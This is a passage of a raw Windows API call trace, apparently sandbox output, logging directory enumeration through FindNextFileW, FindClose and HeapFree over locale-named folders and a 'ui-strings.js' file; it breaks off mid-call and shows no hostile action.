[0187.005] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0187.005] FindClose (in: hFindFile=0x41216c8 | out: hFindFile=0x41216c8) returned 1 [0187.005] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0187.006] FindNextFileW (in: hFindFile=0x4121608, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0187.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.014] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.016] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.019] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.020] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.021] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.021] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.022] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.022] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.023] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.024] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.024] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.025] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.025] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.026] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.026] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.027] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.027] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0187.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.028] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.028] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.029] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.030] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.030] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.030] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.031] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.031] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.032] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.032] FindNextFileW (in: hFindFile=0x4121448, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.032] FindClose (in: hFindFile=0x4121448 | out: hFindFile=0x4121448) returned 1 [0187.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.032] FindNextFileW (in: hFindFile=0x4121248, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0187.032] FindClose (in: hFindFile=0x4121248 | out: hFindFile=0x4121248) returned 1 [0187.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.032] FindNextFileW (in: hFindFile=0x41214c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0187.032] FindClose (in: hFindFile=0x41214c8 | out: hFindFile=0x41214c8) returned 1 [0187.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.032] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0187.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: 